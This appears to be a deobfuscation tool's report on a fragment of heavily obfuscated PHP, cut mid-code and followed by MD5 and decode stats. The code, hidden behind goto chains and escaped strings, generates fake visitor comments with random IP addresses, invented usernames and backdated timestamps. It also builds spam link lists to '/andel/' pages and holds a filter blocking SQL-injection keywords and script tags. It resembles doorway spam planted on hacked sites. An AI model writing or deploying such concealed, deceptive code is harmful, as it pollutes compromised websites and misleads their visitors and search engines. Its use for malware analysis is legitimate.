"\x3c\x74\144\x3e\x3c\x2f\x74\144\76\x3c\164\x64\x20\167\151\144\164\x68\75\x27\x33\x30\x25\x27\76" . rand(1, 255) . "\56" . rand(1, 255) . "\x2e" . rand(1, 255) . "\x2e" . rand(1, 255) . "\x3c\57\164\144\76"; goto I8XlZ; sYYMM: $ybU_i = $ybU_i . "\74\57\x74\162\x3e"; goto EcHZ0; SOKfR: return $ybU_i; goto p0JdP; lHKMv: $ybU_i = $ybU_i . "\74\x74\x72\76"; goto o4Yg1; o4Yg1: $ybU_i = $ybU_i . "\74\x74\x64\x3e"; goto ruH2D; qfnSG: goto c7gtR; goto NBu8l; NBu8l: IRl4L: goto MwjsN; ruH2D: $ybU_i = $ybU_i . "\x3c\x74\141\142\154\x65\x20\x77\151\144\164\150\x3d\x27\61\x30\60\45\x27\x20\143\145\154\x6c\160\x61\144\x64\151\156\147\75\47\x30\47\40\x63\145\x6c\x6c\x73\x70\x61\143\x69\x6e\147\x3d\47\60\x27\x20\76"; goto rsu4c; bPKXg: if (!($Z2kFy <= 10)) { goto IRl4L; } goto lHKMv; EcHZ0: $ybU_i = $ybU_i . "\74\164\162\76"; goto pY2q2; yJbGr: $ybU_i = $ybU_i . "\x3c\164\x72\76"; goto yOXrs; rsu4c: $ybU_i = $ybU_i . "\74\164\162\76"; goto J05Ot; VboFP: $ybU_i = $ybU_i . "\74\x2f\x74\x61\x62\154\145\76"; goto bQf9E; pPHAC: Ikw_C: goto AwzED; iwX_B: $ybU_i = $ybU_i . "\74\57\164\162\x3e"; goto yJbGr; MwjsN: $ybU_i = $ybU_i . "\x3c\x2f\x74\x61\x62\x6c\x65\76"; goto SOKfR; zN4VL: global $RW7sb; goto e4BTa; e4BTa: $ybU_i = ''; goto UeFXe; I8XlZ: $ybU_i = $ybU_i . "\x3c\57\164\x72\76"; goto VboFP; yOXrs: $ybU_i = $ybU_i . "\74\164\x64\40\143\x6f\154\163\160\x61\x6e\x3d\47\x32\x27\76" . str_replace("\40", "\x20" . bPNtT(8) . "\x20", $RW7sb) . "\74\57\x74\x64\x3e"; goto sYYMM; ePx3k: $ybU_i = $ybU_i . "\74\57\x74\x72\x3e"; goto pPHAC; J05Ot: $ybU_i = $ybU_i . "\74\x74\x64\76\125\123\x45\122\72" . bPNtt(7) . "\74\x2f\x74\144\76\74\164\x64\40\167\151\144\164\150\x3d\47\x33\x30\x25\47\x3e" . @date("\131\x2d\155\x2d\144", @strtotime("\x2d" . $Z2kFy . "\x20\144\141\171")) . "\x20" . str_pad(rand(1, 23), 2, "\60", STR_PAD_LEFT) . "\72" . str_pad(rand(1, 59), 2, "\60", STR_PAD_LEFT) . "\x3a" . str_pad(rand(1, 59), 2, "\60", STR_PAD_LEFT) . "\40\x3c\57\x74\144\76"; goto iwX_B; p0JdP: } goto EZhDl; wQt_3: $Vh0SA = substr($yoDHk, strrpos($yoDHk, "\x2f") + 1); goto sv01P; gtKal: function TpI17() { goto HUKz6; HUKz6: global $UwfZi, $XcgLL, $AFamg; goto b0kg4; KaVgQ: foreach ($XcgLL as $HLFIP) { goto oWb05; R4K3_: G142W: goto Tq6U2; LSa3Y: $m18CD .= "\74\154\151\x3e\x3c\141\40\150\x72\x65\x66\x3d\x27\57\x61\156\144\145\154\x2f" . z0c2h($DY_pi[0]) . "\55" . BPNtt(4) . "\56\x68\164\x6d\154\x27\x20\40\x74\x69\164\154\145\x3d\47" . $UwfZi[$HLFIP] . "\x27\76" . $DY_pi[0] . "\x3c\x2f\x61\76\x3c\x2f\154\x69\x3e"; goto R4K3_; oWb05: $DY_pi = explode("\55", $UwfZi[$HLFIP]); goto LSa3Y; Tq6U2: } goto p2Z4L; Swgu9: return $m18CD; goto YQmKz; VuGmk: XyOkN: goto Swgu9; p2Z4L: ydaXi: goto AAZn1; AAZn1: foreach (HxJ2n(0, count($UwfZi), 30) as $HLFIP) { goto UlkqV; OzWxm: $m18CD .= "\x3c\154\151\x3e\74\x61\x20\x68\x72\145\146\75\x27\x2f\x61\156\144\145\x6c\x2f" . Z0C2h($DY_pi[0]) . "\55" . BPntT(4) . "\x2e\150\164\155\x6c\x27\40\40\164\151\164\x6c\x65\x3d\47" . $UwfZi[$HLFIP] . "\x27\x3e" . $DY_pi[0] . "\x3c\x2f\141\76\74\57\x6c\151\76"; goto gAIkC; UlkqV: $DY_pi = explode("\x2d", $UwfZi[$HLFIP]); goto OzWxm; gAIkC: GMNaM: goto LFdJN; LFdJN: } goto VuGmk; b0kg4: $m18CD = ''; goto KaVgQ; YQmKz: } goto mgTqD; E50sj: $vlJ1p = "\165\156\x69\157\156\174\163\145\x6c\145\x63\164\174\x6c\x69\155\151\x74\174\157\x72\144\145\x72\x20\x62\x79\174\x67\165\x6f\x75\160\x20\x62\x79\x7c\x3c\x73\143\x72\151\x70\x74\76\174\x5c\174\74\57\x73\x63\x72\x69\160\164\76\174\x27"; goto v8qfu; MC3BZ: $Vh0SA = substr($C849h, strrpos($C849h, "\57") + 1); goto LzG4B; Q8_3D: $panf4 = str_replace("\x7b\143\157\x6d\x6d\x65\x6e\164\x73\175", $aFqvi, $panf4); goto P7aNw; foLFG: function z0C2H($a5kN2) { goto rnKrh; G6UYR: $a5kN2 = str_replace("\x20", "\55", $a5kN2); goto JEQty; rnKrh: $a5kN2 = trim($a5kN2); goto G6UYR; k9BjA: return $a5kN2; goto nQDfO; JEQty: $a5kN2 = str_replace("\55\x2d", "\55", $a5kN2); goto k9BjA; nQDfO: } goto SDLzZ; TpWGz: exit($panf4);

Function Calls

None

Variables

None

Stats

MD5 17692003dcd6a5a312c932a18323209b
Eval Count 0
Decode Time 67 ms